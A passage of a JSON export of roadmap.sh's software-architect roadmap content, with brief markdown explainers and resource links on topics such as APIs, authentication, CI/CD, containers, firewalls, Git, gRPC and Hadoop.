    "content": "# Apache spark\n\nApache Spark is a multi-language engine for executing data engineering, data science, and machine learning on single-node machines or clusters.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Spark](https://spark.apache.org/)\n- [@feed@Explore top posts about Apache](https://app.daily.dev/tags/apache?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/apis--integrations@Ocn7-ctpnl71ZCZ_uV-uD.md",
    "content": "# APIs and Integrations\n\nAPIs (Application Programming Interfaces) are essential for enabling communication between different software applications, allowing them to share data and functionality seamlessly. They serve as the bridge that connects disparate systems, making it possible for applications to interact without needing to know the internal workings of one another. Integration, on the other hand, refers to the process of connecting these systems to work together effectively, often utilizing APIs to facilitate data exchange and process automation. By leveraging APIs in integrations, organizations can enhance operational efficiency, reduce data silos, and improve user experiences through seamless data flow between applications.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Integration](https://www.ibm.com/topics/api-integration)\n- [@article@API Integration - Postman](https://www.postman.com/api-platform/api-integration/)\n- [@article@API First Integration](https://www.infoq.com/articles/api-first-integration/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/application-architecture@Lqe47l4j-C4OwkbkwPYry.md",
    "content": "# Application Level Architecture\n\nThe lowest level of architecture. Focus on one single application. Very detailed, low level design. Communication is usually within one development team.\n\nVisit the following resources to learn more:\n\n- [@article@Application Architecture](https://www.codesee.io/learning-center/application-architecture)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/architecture@OaLmlfkZid7hKqJ9G8oNV.md",
    "content": "# Architectures\n\nArchitecture refers to the approach of designing and implementing software architecture with a focus on the tools and technologies that will be used during the development process. This perspective emphasizes that the selection of tools can significantly influence architectural decisions and the overall design of the system."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/atlassian-tools@3bpd0iZTd3G-H8A7yrExY.md",
    "content": "# Atlassian Tools\n\nAtlassian tools offer a suite of solutions designed to streamline collaboration, project management, and incident handling for various teams. Jira serves as the core workflow engine, allowing organizations to track tasks through customizable workflows with granular permissions. Specialized tools like Jira Service Desk cater to help desk teams for managing incoming requests, while Jira Core enables business teams to organize and execute task-oriented projects across departments like marketing, HR, and operations. For enhanced collaboration, Confluence acts as a knowledge-sharing wiki, allowing teams to create, share, and audit content changes seamlessly. Bitbucket provides Git repository management for enterprise teams, fostering efficient collaboration on codebases.\n\nOther tools cater to more specific needs. **Statuspage** focuses on communication during outages or maintenance, keeping users informed from investigation to resolution. **Opsgenie** ensures smooth incident management for always-on services, helping dev and ops teams stay in control of alerts. **Advanced Roadmaps** for Jira assists multiple teams in capacity planning and dependency tracking, while **Jira Align** supports enterprise-level agile planning to align strategy with execution and drive digital transformation. Together, these tools empower teams to improve efficiency, transparency, and adaptability across various workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Jira Service Desk](https://www.atlassian.com/software/jira/service-management/features/service-desk)\n- [@official@Jira Core](https://www.atlassian.com/software/jira/work-management)\n- [@official@Confluence](https://www.atlassian.com/wac/software/confluence?)\n- [@official@Bitbucket](https://bitbucket.org/product/)\n- [@official@Statuspage](https://www.atlassian.com/software/statuspage)\n- [@official@Opsgenie](https://www.atlassian.com/software/opsgenie)\n- [@official@Advanced Roadmaps for Jira](https://www.atlassian.com/software/jira/features/roadmaps)\n- [@official@Jira Align](https://www.atlassian.com/software/jira/align)\n- [@feed@Explore top posts about Atlassian](https://app.daily.dev/tags/atlassian?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/auth-strategies@KiwFXB6yd0go30zAFMTJt.md",
    "content": "# Authentication Strategies\n\nAuthentication strategies are essential for ensuring secure access to applications and systems. They define how users are verified before being granted access to resources. Here are some common authentication strategies:\n\nPassword-Based Authentication\n\nMulti-Factor Authentication (MFA)\n\nOAuth and OpenID Connect\n\nToken-Based Authentication:\n\nBiometric Authentication\n\nCertificate-Based Authentication\n\nVisit the following resources to learn more:\n\n- [@article@JSON Web Token - Handbook](https://auth0.com/resources/ebooks/jwt-handbook)\n- [@article@Authentication vs Authorization](https://www.cerbos.dev/blog/authentication-vs-authorization)\n- [@video@SAML Overview](https://www.youtube.com/watch?v=i8wFExDSZv0)\n- [@video@A Developers Guide to SAML](https://www.youtube.com/watch?v=l-6QSEqDJPo)\n- [@video@SAML 2.0: Technical Overview](https://www.youtube.com/watch?v=SvppXbpv-5k)\n- [@video@An Illustrated Guide to OAuth and OpenID Connect](https://www.youtube.com/watch?v=t18YB3xDfXI)\n- [@video@OAuth 2.0 & OpenID Connect (OIDC): Technical Overview](https://www.youtube.com/watch?v=rTzlF-U9Y6Y)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/babok@LQlzVxUxM3haWRwbhYHKY.md",
    "content": "# Babok\n\nThe guide to the Business Analysis Body of Knowledge (BABOK Guide) is a book from the International Institute of Business Analysis (IIBA) that provides business analysts (BAs) with strategies for using data to improve an organization's workflow processes, technology, products and services.\n\nVisit the following resources to learn more:\n\n- [@official@Babok](https://www.iiba.org/career-resources/a-business-analysis-professionals-foundation-for-success/babok/)\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/A_Guide_to_the_Business_Analysis_Body_of_Knowledge)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/balance@otHQ6ye1xgkI1qb4tEHVF.md",
    "content": "# Balance\n\nAchieving balance in architecture requires managing trade-offs between quality, cost, and development speed, avoiding over-engineering while aligning functional and non-functional requirements. Architects must navigate conflicting goals, like balancing short-term simplicity with long-term vision, ensuring solutions fit future needs while involving developers, businesses, and managers in understanding the financial and strategic impact. Additionally, architects often mediate between diverse groups, resolving conflicts and aligning strategies through effective communication, such as the “Four-Ears Model” by Schulze von Thun, which aids in fostering collaboration and achieving balanced, strategic outcomes.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Balance_(architecture))"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/bpm-bpel@DwNda95-fE7LWnDA6u1LU.md",
    "content": "# BPM BPEL\n\nBPM: Business Process Management\n--------------------------------\n\nMedium or large enterprises needs robust processes to streamline their business needs by reducing the cost incurred per process and diminishing the turn around time for each activity. To achieve the above, there are various BPM tools like PEGA, IBM BPM, Appian, etc. Basically these tools automate the processes through a robust process modelling and implementation.\n\nBPMN: Business Process Management Notations\n-------------------------------------------\n\nIts is a standard for representing business processes graphically. While modelling the process, the notations used are complied with BPMN (there are other like EPC, etc.). So BPMN is a standard notation that BPM consultants follow to model the business process. BPMN has versions and now BPMN 2.0 is the standard one.\n\nBPEL : Business Process Execution Language\n------------------------------------------\n\nProgrammers use BPEL to define how a business process that involves web services will be executed. BPEL messages are typically used to invoke remote services, orchestrate process execution and manage events and exceptions. BPEL is often associated with Business Process Management Notation. In many organizations, analysts use BPMN to visualize business processes and developers transform the visualizations to BPEL for execution.\n\nVisit the following resources to learn more:\n\n- [@article@What is BPM?](https://www.redhat.com/en/topics/automation/what-is-business-process-management)\n- [@article@BPEL described](https://www.ibm.com/docs/en/baw/19.x?topic=SS8JB4_19.x/com.ibm.wbpm.wid.main.doc/prodoverview/topics/cbpelproc.html)\n- [@video@BPM vs BPEL](https://www.youtube.com/watch?v=V6nr5dnb1JQ)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/ci--cd@isavRe4ANVn77ZX6gNSLH.md",
    "content": "# CI / CD\n\nCI/CD is a method to frequently deliver apps to customers by introducing automation into the stages of app development. The main concepts attributed to CI/CD are continuous integration, continuous delivery, and continuous deployment. CI/CD is a solution to the problems integrating new code can cause for development and operations teams (AKA \"integration hell\").\n\nVisit the following resources to learn more:\n\n- [@article@CI/CID - GitHub](https://github.com/resources/articles/devops/ci-cd)\n- [@article@What is CI/CD? - Redhat](https://www.redhat.com/en/topics/devops/what-is-ci-cd)\n- [@article@Continuous Integration and Continuous Delivery Explained](https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/client--server@mka_DwiboH5sGFhXhk6ez.md",
    "content": "# Client-Server Architecture\n\nClient-server architecture is a computing model that separates tasks or workloads between service providers (servers) and service requesters (clients). This architecture is widely used in networked applications, including web applications, where clients interact with servers to access resources, services, and data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Client-Server Architecture](https://www.simplilearn.com/what-is-client-server-architecture-article)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/cloud-design-patterns@CxceVdaNCyKDhs0huDtcL.md",
    "content": "# Cloud Design Patterns\n\nThese design patterns are useful for building reliable, scalable, secure applications in the cloud. The cloud design patterns where each pattern describes the problem that the pattern addresses, considerations for applying the pattern, and an example based on Microsoft Azure. Most patterns include code samples or snippets that show how to implement the pattern on Azure. However, most patterns are relevant to any distributed system, whether hosted on Azure or other cloud platforms.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/cloud-providers@C0rKd5Rr27Z1_GleoEZxF.md",
    "content": "# Cloud Providers\n\nCloud providers provide a layer of APIs to abstract infrastructure and provision it based on security and billing boundaries. The cloud runs on servers in data centers, but the abstractions cleverly give the appearance of interacting with a single “platform” or large application. The ability to quickly provision, configure, and secure resources with cloud providers has been key to both the tremendous success and complexity of modern DevOps.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Service Provider](https://www.techtarget.com/searchitchannel/definition/cloud-service-provider-cloud-provider)\n- [@article@What are Cloud Providers?](https://www.redhat.com/en/topics/cloud-computing/what-are-cloud-providers)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/communication@Ac49sOlQKblYK4FZuFHDR.md",
    "content": "# Communication\n\nFrom my observations this is one of the most underestimated skill. If you are brilliant in design but cannot communicate your ideas, your thoughts are likely to have less impact or even fail to succeed.\n\nCommunication is a critical yet often underestimated skill, especially for architects. It involves clearly conveying ideas, structuring discussions effectively, and driving meetings. Tools like “UZMO — Thinking With Your Pen” can enhance visual communication skills. Public speaking, whether to small or large groups, requires practice and stepping out of one’s comfort zone. Tailoring communication to the audience is essential—developers focus on details, while managers prioritize cost and outcomes. Regular, transparent communication ensures alignment across all levels, making the rationale behind decisions clear. Always being prepared with key slides and answers can boost confidence and efficiency during interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Communication Skills](https://en.wikipedia.org/wiki/Communication)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/consult--coach@LSWlk9A3b6hco9Il_elao.md",
    "content": "# Consult and Coach\n\nProactive consulting and coaching are essential to prevent architectural issues from escalating. Architects must anticipate future needs and prepare the organization by setting a clear vision of mid- and long-term goals, often using maturity models to provide structure and measure progress against SMART criteria. Building a **Community of Practice (CoP)** fosters collaboration, standardization, and knowledge sharing among professionals with shared interests, such as developers and architects, enhancing individual and organizational growth. Open-door sessions, held regularly without a strict agenda, encourage open communication, resolve minor issues promptly, and address complex topics through follow-ups, reducing misconceptions and ambiguity.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Consulting)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/containers@l3oeo65FyV5HHvw5n_1wa.md",
    "content": "# Containers\n\nContainers are a construct in which cgroups, namespaces, and chroot are used to fully encapsulate and isolate a process. This encapsulated process, called a container image, shares the kernel of the host with other containers, allowing containers to be significantly smaller and faster than virtual machines. These images are designed for portability, allowing for full local testing of a static image, and easy deployment to a container management platform.\n\nVisit the following resources to learn more:\n\n- [@article@cgroups](https://en.wikipedia.org/wiki/Cgroups)\n- [@article@namespaces](https://en.wikipedia.org/wiki/Linux_namespaces)\n- [@article@chroot](https://en.wikipedia.org/wiki/Chroot)\n- [@article@What are Containers?](https://cloud.google.com/learn/what-are-containers)\n- [@article@What is a Container?](https://www.docker.com/resources/what-container/)\n- [@article@Articles about Containers - The New Stack](https://thenewstack.io/category/containers/)\n- [@video@What are Containers?](https://www.youtube.com/playlist?list=PLawsLZMfND4nz-WDBZIj8-nbzGFD4S9oz)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/cqrs-eventual-consistency@RsnN5bt8OhSMjSFmVgw-X.md",
    "content": "# CQRS eventual consistency\n\nCQRS (Segregation of Responsibility for Command Queries) is an architecture pattern that comes with the idea of separating read and write operations into two distinct logical processes.\n\nVisit the following resources to learn more:\n\n- [@article@CQRS](https://martinfowler.com/bliki/CQRS.html)\n- [@article@Introduction to CQRS](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/datawarehouse-principles@B5YtP8C1A0jB3MOdg0c_q.md",
    "content": "# Datawarehouses Principles\n\nIt is based on the assumption that every system should take care of a concern in a way that such concern should be encapsulated by the system itself.\n\nVisit the following resources to learn more:\n\n- [@article@Toptal Developers Website](https://www.toptal.com/data-science/data-warehouse-concepts-principles)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/ddd@IIelzs8XYMPnXabFKRI51.md",
    "content": "# Domain-Driven Design\n\nDomain-driven design (DDD) is a software design approach focusing on modeling software to match a domain according to input from that domain's experts.\n\nIn terms of object-oriented programming, it means that the structure and language of software code (class names, class methods, class variables) should match the business domain. For example, if a software processes loan applications, it might have classes like LoanApplication and Customer, and methods such as AcceptOffer and Withdraw.\n\nDDD connects the implementation to an evolving model and it is predicated on the following goals:\n\n*   Placing the project's primary focus on the core domain and domain logic;\n*   Basing complex designs on a model of the domain;\n*   Initiating a creative collaboration between technical and domain experts to iteratively refine a conceptual model that addresses particular domain problems.\n\nVisit the following resources to learn more:\n\n- [@article@DDD Starter Modelling Process](https://github.com/ddd-crew/ddd-starter-modelling-process/)\n- [@article@Domain Driven Design Quickly](https://web.archive.org/web/20230606035225/https://matfrs2.github.io/RS2/predavanja/literatura/Avram%20A,%20Marinescu%20F.%20-%20Domain%20Driven%20Design%20Quickly.pdf)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/decision-making@MSDo0nPk_ghRYkZS4MAQ_.md",
    "content": "# Decision Making\n\nEffective decision-making is crucial for architects to guide projects and organizations in the right direction. Focus on what’s important by emphasizing **conceptual integrity** (sticking to consistent decisions for simplicity and maintainability) and **uniformity** (ensuring standards like naming conventions are applied consistently). Prioritize critical decisions early to avoid costly workarounds or project delays, using tools like the Weighted Shortest Job First (WSJF) model for prioritization. Stay within your scope of competence to maintain credibility, collaborate with peers, and clarify responsibilities within the architectural hierarchy.\n\nWhen making decisions, evaluate multiple options to ensure thorough analysis and foster stakeholder confidence. Comparing options based on measurable criteria, such as cost or feasibility, leads to better, fact-driven decisions. This process not only supports sustainable outcomes but also prepares you with strong arguments during discussions, ensuring alignment across teams and stakeholders.\n\nVisit the following resources to learn more:\n\n- [@article@Decision Making - Wikipedia](https://en.wikipedia.org/wiki/Decision-making)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/design--architecture@fBd2m8tMJmhuNSaakrpg4.md",
    "content": "# Design and Architecture\n\nGood design in software architecture blends theoretical knowledge with practical experience. Theoretically, architects should master fundamental design patterns, such as those detailed in _\"Design Patterns: Elements of Reusable Object-Oriented Software\"_, which remain foundational for modern architecture. Advanced knowledge of patterns and anti-patterns, like those in _\"Enterprise Integration Patterns\"_, extends this understanding. Architects must also focus on quality measures, ensuring designs meet non-functional requirements like scalability, security, and adaptability.\n\nPractically, architects improve by experimenting with various technology stacks, gaining insights into their strengths and limitations. Exploring frameworks like Angular reveals real-world pattern applications, such as Observables, and fosters deeper understanding through hands-on coding. Attending user groups and engaging in communities, like those on Meetup, broadens perspectives and encourages curiosity, enabling architects to stay updated and continuously refine their craft.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Software Design Roadmap](https://roadmap.sh/software-design-architecture)\n- [@opensource@Design Patterns for Humans](https://github.com/kamranahmedse/design-patterns-for-humans)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/distributed-systems@j7OP6RD_IAU6HsyiGaynx.md",
    "content": "# Distributed Systems\n\nDistributed systems are a type of computing architecture where components located on networked computers communicate and coordinate their actions by passing messages. These systems are designed to work together to achieve a common goal, often providing services or processing data in a collaborative manner.\n\nVisit the following resources to learn more:\n\n- [@article@Free Distributed Systems book from Maarten van Steen](https://www.distributed-systems.net/index.php/books/ds3/)\n- [@article@Distributed Architectures](https://estuary.dev/distributed-architecture/)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/documentation@5D-kbQ520k1D3fCtD01T7.md",
    "content": "# Documentation\n\nArchitectural documentation is sometimes more and sometimes less important. Important documents are for example architectural decisions or code guidelines. Initial documentation is often required before coding starts and need to be refined continuously. Other documentation can be automatically generated as code can also be documentation, e.g. UML class diagrams.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Documentation)\n- [@article@The Ultimate Guide To Software Architecture Documentation](https://www.workingsoftware.dev/software-architecture-documentation-the-ultimate-guide/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/emc-dms@YfYviOXqGVp9C6DuhqBrn.md",
    "content": "# EMC and DMS\n\nEMC (Enterprise Metadata Catalog) and DMS (Document Management System) are two distinct concepts in the realm of data management and information systems. Below is an overview of each:\n\nAn Enterprise Metadata Catalog (EMC) is a centralized repository that stores metadata about data assets within an organization. This metadata provides context, meaning, and structure to the data, enabling better data management and utilization.\n\nA Document Management System (DMS) is a software solution that helps organizations capture, store, manage, and track electronic documents and images of paper-based information. DMS solutions are essential for organizing and securing documents in a digital format.\n\nVisit the following resources to learn more:\n\n- [@article@DMS](https://www.opentext.com/products/documentum-content-management)\n- [@article@EMC Softwares](https://www.spiceworks.com/collaboration/content-collaboration/articles/top-10-enterprise-content-management-software-systems/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/enterprise-architecture@vlW07sc-FQnxPMjDMn8_F.md",
    "content": "# Enterprise Level Architecture\n\nThe highest level of architecture. Focus on multiple solutions. High level, abstract design, which needs to be detailed out by solution or application architects. Communication is across the organization.\n\nVisit the following resources to learn more:\n\n- [@article@Enterprise Software Architecture](https://medium.com/@hsienwei/enterprise-software-architecture-957288829daa)\n- [@article@Enterprise Architect vs Software Architect](https://www.linkedin.com/pulse/enterprise-architect-vs-software-who-you-luigi-saggese/)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/enterprise-software@8yALyPVUZPtd7LX3GrO1e.md",
    "content": "# Enterprise Software\n\nEnterprise software refers to software applications that are designed to meet the needs of large organizations or enterprises. These applications are typically complex, scalable, and capable of integrating with other systems to support a wide range of business functions. Enterprise software is used to improve efficiency, streamline processes, and enhance productivity across various departments within an organization.\n\nVisit the following resources to learn more:\n\n- [@article@Enterprise Softwares](https://en.wikipedia.org/wiki/Enterprise_software)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/esb-soap@fELnBA0eOoE-d9rSmDJ8l.md",
    "content": "# ESB and SOAP\n\nESB (Enterprise Service Bus) and SOAP (Simple Object Access Protocol) are two technologies that enable communication between different systems. ESB is a software architecture that allows for the integration of various systems, such as databases, web services, and mobile applications. SOAP is a messaging protocol that enables the exchange of structured data between systems over the internet.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding SOAP: The Old Guard of Web Services](https://mariomthree.medium.com/understanding-soap-the-old-guard-of-web-services-6ca89d8ec312)\n- [@article@Enterprise Service Bus](https://en.wikipedia.org/wiki/Enterprise_service_bus)\n- [@article@ESB - IBM](https://www.ibm.com/topics/esb)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/estimate-and-evaluate@m0ZYdqPFDoHOPo18wKyvV.md",
    "content": "# Estimate and Evaluate\n\nEstimation and evaluation are critical skills for architects and lead developers. Architects must understand basic project management principles to provide estimates for timelines, resources, and costs, considering all project phases like requirements, testing, and debugging. Using past data or models like COCOMO helps refine estimates. For agile projects, resources like _\"Agile Estimating and Planning\"_ by Mike Cohn can offer valuable guidance.\n\nEvaluating \"unknown\" architectures involves assessing their suitability for current and future contexts through prepared questions. These should cover design practices (e.g., patterns and structure), development practices (e.g., code guidelines and deployment), quality assurance (e.g., test automation and peer reviews), and security measures (e.g., built-in security and penetration tests). This structured approach ensures informed decisions and promotes robust, maintainable solutions.\n\nVisit the following resources to learn more:\n\n- [@article@Evaluating Software Architectures](https://medium.com/oolooroo/evaluating-digital-architectures-a-deep-dive-into-modern-software-systems-analysis-dff3b0d2da8f)\n- [@article@How to Evaluate Software Architecture: Methods and Tools](https://www.linkedin.com/advice/0/what-most-common-software-architecture-evaluation)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/etl-datawarehouses@JUFE4OQhnXOt1J_MG-Sjf.md",
    "content": "# ETL Datawarehouses\n\nETL (Extract, Transform, Load) is a key process in data warehousing, enabling the integration of data from multiple sources into a centralized database. The process begins by **extracting** data from original sources, followed by **transforming** it to ensure quality, deduplication, and combination, and finally **loading** it into the target database. ETL tools streamline this process, allowing companies to consolidate diverse data types and ensure seamless integration for effective data analysis and decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@What is ETL?](https://www.snowflake.com/guides/what-etl)\n- [@video@ETL Explained](https://www.youtube.com/watch?v=OW5OgsLpDCQ)\n- [@feed@Explore top posts about ETL](https://app.daily.dev/tags/etl?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/firewalls@Hqk_GGsFi14SI5fgPSoGV.md",
    "content": "# Firewalls\n\nA Firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization's previously established security policies. Firewalls usually sit between a trusted network and an untrusted network; oftentimes the untrusted network is the Internet. For example, office networks often use a firewall to protect their network from online threats.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Firewall? - Cloudflare](https://www.cloudflare.com/learning/security/what-is-a-firewall/)\n- [@article@Firewall - Cisco](https://www.cisco.com/site/us/en/learn/topics/security/what-is-a-firewall.html)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/frameworks@hjlkxYZS7Zf9En3IUS-Wm.md",
    "content": "# Architect Frameworks\n\nArchitect frameworks are tools that provide a structured approach to software architecture. They help architects organize their work, manage dependencies, and ensure consistency across projects. Some popular frameworks include:\n\nVisit the following resources to learn more:\n\n- [@article@Architect Frameworks](https://www.techtarget.com/searchapparchitecture/definition/enterprise-architecture-framework)\n- [@article@Common Software Architecture Frameworks](https://medium.com/@publicapplicationcenter/tutorial-notes-common-software-architecture-frameworks-1a9915e1d806)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/functional-programming@6FDGecsHbqY-cm32yTZJa.md",
    "content": "# Functional Programming\n\nFunctional programming is a programming paradigm designed to handle pure mathematical functions. This paradigm is totally focused on writing more compounded and pure functions.\n\nVisit the following resources to learn more:\n\n- [@article@Functional Programming](https://en.wikipedia.org/wiki/Functional_programming)\n- [@article@Functional Programming with JavaScript](https://www.telerik.com/blogs/functional-programming-javascript)\n- [@video@Learning Functional Programming](https://youtube.com/watch?v=e-5obm1G_FY)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/git@ZEzYb-i55hBe9kK3bla94.md",
    "content": "# Git\n\nGit is a distributed version control system designed to handle projects of any size with speed and efficiency. Created by Linus Torvalds in 2005, Git tracks changes in source code during software development, allowing multiple developers to work together on non-linear development. It provides strong support for branching, merging, and distributed development workflows. Git maintains a complete history of all changes, enabling easy rollbacks and comparisons between versions. Its distributed nature means each developer has a full copy of the repository, allowing for offline work and backup. Git's speed, flexibility, and robust branching and merging capabilities have made it the most widely used version control system in software development, particularly for open-source projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@article@Tutorial: Git for Absolutely Everyone](https://thenewstack.io/tutorial-git-for-absolutely-everyone/)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/github@PyTuVs08_z4EhLwhTYzFu.md",
    "content": "# GitHub\n\nGitHub has become a central hub for open-source projects and is widely used by developers, companies, and organizations for both private and public repositories. It was acquired by Microsoft in 2018 but continues to operate as a relatively independent entity. GitHub's popularity has made it an essential tool in modern software development workflows and a key platform for showcasing coding projects and contributing to open-source software.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub: Quickstart](https://docs.github.com/en/get-started/quickstart/hello-world)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@official@Learn GitHub by doing](https://skills.github.com/)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/go@nKlM9k4qAh4wBFXqM-2kC.md",
    "content": "# Go\n\nGo is an open source programming language supported by Google. Go can be used to write cloud services, CLI tools, used for API development, and much more.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/graphql@Sp3FdPT4F9YnTGvlE_vyq.md",
    "content": "# Graphql\n\nGraphQL is a query language and runtime for APIs, developed by Facebook. GraphQL's flexibility and efficiency make it popular for building complex applications, especially those with diverse client requirements. It's particularly useful for mobile applications where bandwidth efficiency is crucial. While it requires a paradigm shift from REST, many developers and organizations find GraphQL's benefits outweigh the learning curve, especially for large-scale or rapidly evolving APIs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@Introduction to GraphQL](https://graphql.org/learn/)\n- [@article@Introduction to GraphQL](https://thenewstack.io/introduction-to-graphql/)\n- [@article@How to Execute a Simple GraphQL Query](https://thenewstack.io/how-to-execute-a-simple-graphql-query/)\n- [@video@GraphQL Course for Beginners](https://www.youtube.com/watch?v=ed8SzALpx1Q)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/grpc@priDGksAvJ05YzakkTFtM.md",
    "content": "# gRPC\n\ngRPC is a platform agnostic serialization protocol that is used to communicate between services. Designed by Google in 2015, it is a modern alternative to REST APIs. It is a binary protocol that uses HTTP/2 as a transport layer. It is a high performance, open source, general-purpose RPC framework that puts mobile and HTTP/2 first.\n\nIt's main use case is for communication between two different languages within the same application. You can use Python to communicate with Go, or Java to communicate with C#. gRPC uses the protocol buffer language to define the structure of the data that is\n\nVisit the following resources to learn more:\n\n- [@official@gRPC Website](https://grpc.io/)\n- [@official@gRPC Introduction](https://grpc.io/docs/what-is-grpc/introduction/)\n- [@official@gRPC Core Concepts](https://grpc.io/docs/what-is-grpc/core-concepts/)\n- [@video@Stephane Maarek - gRPC Introduction](https://youtu.be/XRXTsQwyZSU)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/hadoop-spark-mapreduce@92GG4IRZ3FijumC94aL-T.md",
    "content": "# Spark, Hadoop MapReduce\n\nSpark is a data processing framework that can quickly perform processing tasks on very large data sets, and can also distribute data processing tasks across multiple computers, either on its own or in tandem with other distributed computing tools.\n\nHadoop MapReduce is a software framework for easily writing applications which process vast amounts of data (multi-terabyte data-sets) in-parallel on large clusters (thousands of nodes) of commodity hardware in a reliable, fault-tolerant manner.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Spark](https://spark.apache.org/)\n- [@article@Spark vs Hadoop MapReduce](https://www.integrate.io/blog/apache-spark-vs-hadoop-mapreduce)\n- [@video@Hadoop explained in 5 minutes](https://www.youtube.com/watch?v=aReuLtY0YMI)\n- [@feed@Explore top posts about Apache Spark](https://app.daily.dev/tags/spark?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/hadoop@I_VjjmMK52_tS8qjQUspN.md",
    "content": "# Hadoop\n\nThe Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Hadoop](https://hadoop.apache.org/)\n- [@article@Apache Hadoop - Wikipedia](https://en.wikipedia.org/wiki/Apache_Hadoop)\n- [@feed@Explore top posts about Apache Hadoop](https://app.daily.dev/tags/apache-hadoop?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/hashing-algorithms@7tBAD0ox9hTK4D483GTRo.md",
